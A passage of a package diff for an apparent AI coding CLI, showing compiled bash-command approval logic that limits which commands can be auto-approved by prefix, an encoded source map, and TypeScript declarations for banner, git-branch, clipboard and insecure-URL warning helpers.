+ * which always need an explicit decision. File-mutating, network and package-install commands
+ * return the whole command line, so only that exact command is remembered.
+ */
+export function bashApprovalPrefix(input) {
+    const tokens = commandTokens(input);
+    if (!tokens?.length || tokens[0].includes('=') || ALWAYS_EXPLICIT.has(tokens[0]))
+        return undefined;
+    if (tokens.some(leavesWorkspace))
+        return undefined;
+    if (EXACT_ONLY.has(tokens[0]) || (PACKAGE_MANAGERS.has(tokens[0]) && INSTALL_SUBCOMMANDS.has(tokens[1] ?? ''))) {
+        return tokens.join(' ');
+    }
+    const take = tokens.length > 2 && LAUNCHER_SUBCOMMANDS.has(tokens[1]) ? 3 : tokens.length > 1 && !tokens[1].startsWith('-') ? 2 : 1;
+    if (take === 1 && INTERPRETERS.has(tokens[0]))
+        return undefined;
+    return tokens.slice(0, take).join(' ');
+}
+/**
+ * True when the command is a simple command that starts, token by token, with an approved prefix
+ * and whose extra arguments neither leave the workspace nor use a risky option.
+ */
+export function isApprovedBashPrefix(input, prefixes) {
+    if (!prefixes.size)
+        return false;
+    const tokens = commandTokens(input);
+    if (!tokens?.length || tokens[0].includes('=') || ALWAYS_EXPLICIT.has(tokens[0]))
+        return false;
+    for (const prefix of prefixes) {
+        const wanted = prefix.split(' ');
+        if (wanted.length > tokens.length || !wanted.every((t, i) => tokens[i] === t))
+            continue;
+        const extra = tokens.slice(wanted.length);
+        const exactOnly = EXACT_ONLY.has(tokens[0]) || (PACKAGE_MANAGERS.has(tokens[0]) && INSTALL_SUBCOMMANDS.has(tokens[1] ?? ''));
+        if (exactOnly && extra.length)
+            continue;
+        if (extra.some(token => leavesWorkspace(token) || RISKY_OPTION_RE.test(token)))
+            continue;
+        return true;
+    }
+    return false;
+}
+//# sourceMappingURL=approval.js.map

package/dist/approval.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"approval.js","sourceRoot":"","sources":["../src/approval.ts"],"names":[],"mappings":"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"}

package/dist/cli.d.ts

@@ -0,0 +1,25 @@
+import { type EffortLevel } from './config.js';
+import type { PermissionMode } from './tools.js';
+/**
+ * Welcome lines shown when a session opens. Plain text (it is also printed in readline mode); the
+ * TUI recognises the `◆ vyen v…` title and styles the block quietly. No box: lines wrap freely at
+ * any width, so long model IDs and paths never break an outline.
+ */
+export declare function welcomeBanner(model: string, provider: string, baseUrl: string, effort: EffortLevel | undefined, cwd: string, sessionId: string, mode: PermissionMode): string;
+/** Reads the current git branch (or short detached SHA) without spawning git; undefined outside a repo. */
+export declare function readGitBranch(cwd: string): string | undefined;
+export declare function extractCopyableFromMessages(messages: Array<{
+    role: string;
+    content: unknown;
+}>, selector?: string): {
+    text: string;
+    label: string;
+} | undefined;
+/** Clipboard helpers in preference order for the current platform (Termux, Wayland, X11, macOS, Windows). */
+export declare function clipboardCandidates(platform?: NodeJS.Platform, env?: NodeJS.ProcessEnv): Array<{
+    bin: string;
+    args: string[];
+}>;
+/** API keys sent over plain HTTP are readable by anyone on the network path (except loopback). */
+export declare function insecureBaseUrlWarning(baseUrl: string | undefined): string | undefined;
+export declare function main(argv?: string[]): Promise<void>;